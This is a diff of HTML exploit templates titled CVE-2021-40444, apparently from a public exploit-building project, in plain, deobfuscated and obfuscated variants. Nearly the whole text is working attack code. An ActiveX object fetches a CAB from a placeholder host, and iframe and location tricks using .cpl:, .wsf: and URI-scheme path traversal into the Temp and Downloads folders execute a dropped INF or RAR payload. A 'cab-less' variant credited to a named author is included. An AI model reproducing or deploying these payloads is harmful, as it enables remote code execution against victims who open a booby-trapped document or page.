+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+
+    function dropIframe() {
+        var i = document.createElement("iframe");
+        i.src = ".cpl:../../../AppData/Local/Temp/<INF_CHANGE_HERE>";
+        document.documentElement.appendChild(i);
+    }
+
+    function downloadCAB(){
+        var obj = document.createElement("object");
+        obj.setAttribute("codebase", '<HOST_CHANGE_HERE>#version=5,0,0,0');
+        obj.setAttribute("classid", 'CLSID:edbc374c-5730-432a-b5b8-de94f0b57217');
+    }
+
+    downloadCAB();
+    setTimeout(function(){ dropIframe(); }, 3000);
+
+</script>
+
+</body>
+</html>
--- a/template/cab-orig-obfuscated.html
+++ b/template/cab-orig-obfuscated.html
--- a/template/cab-uri-debobfuscated1.html
+++ b/template/cab-uri-debobfuscated1.html
@ -0,0 +1,69 @@
+<!DOCTYPE html>
+<html>
+    <head>
+        <meta http-equiv="Expires" content="-1">
+        <meta http-equiv="X-UA-Compatible" content="IE=11">
+    </head>
+    <body>
+        <script>
+            function garbage() {
+                return 'garbage';
+            }
+            (function exploit() {
+                var iframe = window["Document"]['prototype']['createElement']['call'](window["document"], 'iframe');
+                try {
+                    window["HTMLElement"]["prototype"]["appendChild"]['call'](window["document"]['body'], iframe);
+                } catch (_0x1ab454) {
+                    window["HTMLElement"]["prototype"]["appendChild"]['call'](window["document"]['documentElement'], iframe);
+                }
+                var htmlfile = iframe['contentWindow']['ActiveXObject'], htmlfile2 = new htmlfile('htmlfile');
+                iframe['contentDocument']['open']()['close']();
+                try {
+                    window["HTMLElement"]["prototype"]["removeChild"]['call'](window["document"]['body'], iframe);
+                } catch (_0x3b004e) {
+                    window["HTMLElement"]["prototype"]["removeChild"]['call'](window["document"]['documentElement'], iframe);
+                }
+                htmlfile2['open']()['close']();
+                var htmlfile3 = new htmlfile2[('Script')]['ActiveXObject']('htmlfile');
+                htmlfile3['open']()['close']();
+                var htmlfile4 = new htmlfile3[('Script')]['ActiveXObject']('htmlfile');
+                htmlfile4['open']()['close']();
+                var htmlfile5 = new htmlfile4[('Script')]['ActiveXObject']('htmlfile');
+                htmlfile5['open']()['close']();
+                var ActiveXObjectVAR = new ActiveXObject('htmlfile')
+                  , ActiveXObjectVAR2 = new ActiveXObject('htmlfile')
+                  , ActiveXObjectVAR3 = new ActiveXObject('htmlfile')
+                  , ActiveXObjectVAR4 = new ActiveXObject('htmlfile')
+                  , ActiveXObjectVAR5 = new ActiveXObject('htmlfile')
+                  , ActiveXObjectVAR6 = new ActiveXObject('htmlfile')
+                  , XMLHttpR = new window['XMLHttpRequest']()
+                  , XMLHttpRopen = window['XMLHttpRequest']['prototype']['open']
+                  , XMLHttpRsend = window['XMLHttpRequest']['prototype']['send'];
+                XMLHttpRopen['call'](XMLHttpR, 'GET', '<HOST_CHANGE_HERE>', ![]),
+                XMLHttpRsend['call'](XMLHttpR),
+                htmlfile5['Script']['document']['write']('body>');
+                var htmlScript = window["Document"]['prototype']['createElement']['call'](htmlfile5['Script']['document'], 'object');
+                htmlScript['setAttribute']('codebase', '<HOST_CHANGE_HERE>#version=5,0,0,0');
+                htmlScript['setAttribute']('CLSID:edbc374c-5730-432a-b5b8-de94f0b57217'),
+                window["HTMLElement"]["prototype"]["appendChild"]['call'](htmlfile5['Script']['document']['body'], htmlScript),
+                ActiveXObjectVAR['Script']['location'] = '<URI_SCHEME_HERE>:123?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR['Script']['location'] = '<URI_SCHEME_HERE>:123?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR['Script']['location'] = '<URI_SCHEME_HERE>:123?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR['Script']['location'] = '<URI_SCHEME_HERE>:123?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR['Script']['location'] = '<URI_SCHEME_HERE>:123?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR['Script']['location'] = '<URI_SCHEME_HERE>:123?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR['Script']['location'] = '<URI_SCHEME_HERE>:123?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR['Script']['location'] = '<URI_SCHEME_HERE>:123?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR['Script']['location'] = '<URI_SCHEME_HERE>:123?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR['Script']['location'] = '<URI_SCHEME_HERE>:../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR2['Script']['location'] = '<URI_SCHEME_HERE>:../../../AppData/Local/Temp/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR3['Script']['location'] = '<URI_SCHEME_HERE>:../../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR4['Script']['location'] = '<URI_SCHEME_HERE>:../../../../AppData/Local/Temp/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR5['Script']['location'] = '<URI_SCHEME_HERE>:../../../../../Temp/Low/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR4['Script']['location'] = '<URI_SCHEME_HERE>:../../../../../Temp/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR4['Script']['location'] = '<URI_SCHEME_HERE>:../../Low/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>',
+                ActiveXObjectVAR4['Script']['location'] = '<URI_SCHEME_HERE>:../../<INF_CHANGE_HERE>?<URI_SCHEME_HERE>';
+            }());
+        </script>
+    </body>
+</html>
--- a/template/cab-uri-debobfuscated2.html
+++ b/template/cab-uri-debobfuscated2.html
@ -0,0 +1,146 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta http-equiv="Expires" content="-1">
+    <meta http-equiv="X-UA-Compatible" content="IE=11">
+    <title>CVE-2021-40444</title>
+</head>
+<body>
+<script>
+  'use strict';
+/** @type {!Array} */
+var tokensArray = ["123", "365952KMsRQT", "tiveX", "/Lo", "./../../", "contentDocument", "ppD", "Dat", "close", "Acti", "removeChild", "mlF", "write", "./A", "ata/", "ile", "../", "body", "setAttribute", "#version=5,0,0,0", "ssi", "iframe", "748708rfmUTk", "documentElement", "lFile", "location", "159708hBVRtu", "a/Lo", "Script", "document", "call", "contentWindow", "emp", "Document", "Obj", "prototype", "lfi", "bject", "send", "appendChild", "Low/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>", "htmlfile", "115924pLbIpw", "GET", 
+"p/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>", "1109sMoXXX", "./../A", "htm", "l/T", "cal/", "1wzQpCO", "ect", "w/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>", "522415dmiRUA", "<HOST_CHANGE_HERE>", "88320wWglcB", "XMLHttpRequest", "<INF_CHANGE_HERE>?<URI_SCHEME_HERE>", "Act", "D:edbc374c-5730-432a-b5b8-de94f0b57217", "open", "<bo", "HTMLElement", "/..", "veXO", "102FePAWC"];
+/**
+ * @param {number} totalExpectedResults
+ * @param {?} entrySelector
+ * @return {?}
+ */
+function getValue(totalExpectedResults, entrySelector) {
+  return getValue = function(state, value) {
+    /** @type {number} */
+    state = state - 170;
+    var processorState = tokensArray[state];
+    return processorState;
+  }, getValue(totalExpectedResults, entrySelector);
+}
+(function(data, oldPassword) {
+  /** @type {function(number, ?): ?} */
+  var toMonths = getValue;
+  for (; !![];) {
+    try {
+      /** @type {number} */
+      var userPsd = parseInt(toMonths(206)) + parseInt(toMonths(216)) * parseInt(toMonths(196)) + parseInt(toMonths(201)) * -parseInt(toMonths(173)) + parseInt(toMonths(177)) + parseInt(toMonths(204)) + -parseInt(toMonths(193)) + parseInt(toMonths(218));
+      if (userPsd === oldPassword) {
+        break;
+      } else {
+        data["push"](data["shift"]());
+      }
+    } catch (_0x34af1e) {
+      data["push"](data["shift"]());
+    }
+  }
+})(tokensArray, 384881), function() {
+  /**
+   * @return {?}
+   */
+  function token_dash_lineno() {
+    /** @type {function(number, ?): ?} */
+    var addedRelations = currentRelations;
+    return addedRelations(205);
+  }
+  /** @type {function(number, ?): ?} */
+  var currentRelations = getValue;
+  /** @type {!Window} */
+  var global = window;
+  var document = global["document"];
+  var then = global["Document"]["prototype"]["createElement"];
+  var writeFunction = global["Document"]["prototype"]["write"];
+  var PL$22 = global["HTMLElement"]["prototype"]["appendChild"];
+  var $ = global["HTMLElement"]["prototype"]["removeChild"];
+  var el = then["call"](document, "iframe");
+  try {
+    PL$22["call"](document["body"], el);
+  } catch (_0x1ab454) {
+    PL$22["call"](document["documentElement"], el);
+  }
+  var ACTIVEX = el["contentWindow"]["ActiveXObject"];
+  var model = new ACTIVEX("htmlfile");
+  el["contentDocument"]["open"]()["close"]();
+  /** @type {string} */
+  var colname = "p";
+  try {
+    $["call"](document["body"], el);
+  } catch (_0x3b004e) {
+    $["call"](document["documentElement"], el);
+  }
+  model["open"]()["close"]();
+  var ops = new model["Script"]["Act" + "iveX" + "Obj" + "ect"]("htmlFile");
+  ops["open"]()["close"]();
+  /** @type {string} */
+  var _ = "c";
+  var TokenType = new ops["Script"]["Ac" + "tiveX" + "Object"]("htmlFile");
+  TokenType["open"]()["close"]();
+  var view = new TokenType["Script"]["Acti" + "veXO" + "bject"]("htmlFile");
+  view["open"]()["close"]();
+  var iedom = new ActiveXObject("htmlfile");
+  var rp_test = new ActiveXObject("htmlfile");
+  var htmlfile = new ActiveXObject("htmlfile");
+  var fake = new ActiveXObject("htmlfile");
+  var doc = new ActiveXObject("htmlfile");
+  var a = new ActiveXObject("htmlfile");
+  var Object = global["XMLHttpRequest"];
+  var args = new Object;
+  var ast = Object["prototype"]["open"];
+  var callbacks = Object["prototype"]["send"];
+  var modelIns = global["setTimeout"];
+  ast["call"](args, "GET", token_dash_lineno(), ![]);
+  callbacks["call"](args);
+  view["Script"]["document"]["write"]("<body>");
+  var s = then["call"](view["Script"]["document"], "object");
+  s["setAttribute"]("codebase", token_dash_lineno() + "#version=5,0,0,0");
+  /** @type {string} */
+  var i = "l";
+  s["setAttribute"]("classid", "CLSID:edbc374c-5730-432a-b5b8-de94f0b57217");
+  PL$22["call"](view["Script"]["document"]["body"], s);
+  /** @type {string} */
+  iedom["Script"]["location"] = "<URI_SCHEME_HERE>" + ":123?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  iedom["Script"]["location"] = "<URI_SCHEME_HERE>" + ":123?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  iedom["Script"]["location"] = "<URI_SCHEME_HERE>" + ":123?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  iedom["Script"]["location"] = "<URI_SCHEME_HERE>" + ":123?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  iedom["Script"]["location"] = "<URI_SCHEME_HERE>" + ":123?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  iedom["Script"]["location"] = "<URI_SCHEME_HERE>" + ":123?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  iedom["Script"]["location"] = "<URI_SCHEME_HERE>" + ":123?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  iedom["Script"]["location"] = "<URI_SCHEME_HERE>" + ":123?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  iedom["Script"]["location"] = "<URI_SCHEME_HERE>" + ":123?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  iedom["Script"]["location"] = "<URI_SCHEME_HERE>" + ":../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  rp_test["Script"]["location"] = "<URI_SCHEME_HERE>" + ":../../../AppData/Local/Temp/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  htmlfile["Script"]["location"] = "<URI_SCHEME_HERE>" + ":../../../../AppData/Local/Temp/Low/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  fake["Script"]["location"] = "<URI_SCHEME_HERE>" + ":../../../../AppData/Local/Temp/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  doc["Script"]["location"] = "<URI_SCHEME_HERE>" + ":../../../../../Temp/Low/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  fake["Script"]["location"] = "<URI_SCHEME_HERE>" + ":../../../../../Temp/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  fake["Script"]["location"] = "<URI_SCHEME_HERE>" + ":../../Low/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>";
+  /** @type {string} */
+  fake["Script"]["location"] = "<URI_SCHEME_HERE>" + ":../../<INF_CHANGE_HERE>?<URI_SCHEME_HERE>";
+}();
+
+</script>
+
+</body>
+</html>
--- a/template/cab-uri-obfuscated.html
+++ b/template/cab-uri-obfuscated.html
--- a/template/cab-uri-sample1.html
+++ b/template/cab-uri-sample1.html
@ -0,0 +1,75 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta http-equiv="Expires" content="-1">
+    <meta http-equiv="X-UA-Compatible" content="IE=11">
+    <title>CVE-2021-40444</title>
+</head>
+<body>
+<script>
+
+     // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+
+
+  var obj = document.createElement("object");
+  obj.setAttribute("codebase", '<HOST_CHANGE_HERE>#version=5,0,0,0');
+  obj.setAttribute("classid", 'CLSID:edbc374c-5730-432a-b5b8-de94f0b57217');
+  var i = document.createElement("iframe");
+  document.documentElement.appendChild(i);
+  i.src = ".cpl:../../../AppData/Local/Temp/<INF_CHANGE_HERE>";
+
+  i = document.createElement("iframe");
+  document.documentElement.appendChild(i);
+  i.src = "<URI_SCHEME_HERE>:../../../AppData/Local/Temp/<INF_CHANGE_HERE>?<URI_SCHEME_HERE>";
+
+</script>
+
+</body>
+</html>
--- a/template/cab-uri-test-obfuscated.html
+++ b/template/cab-uri-test-obfuscated.html
--- a/template/cabless-rar-sample1.html
+++ b/template/cabless-rar-sample1.html
@ -0,0 +1,68 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <title>CVE-2021-40444 (Cab-less)</title>
+</head>
+<body>
+    <!--Cab-less exploitation by Edu_Braun_0day-->
+
+<script>
+    new ActiveXObject('htmlfile').Script.location = '.wsf:../../../Downloads/<RAR_CHANGE_HERE>?.wsf';
+
+    var i = document.createElement("iframe");
+    document.documentElement.appendChild(i);
+    i.src = '.wsf:../../../Downloads/<RAR_CHANGE_HERE>?.wsf';
+
+
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+    // AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
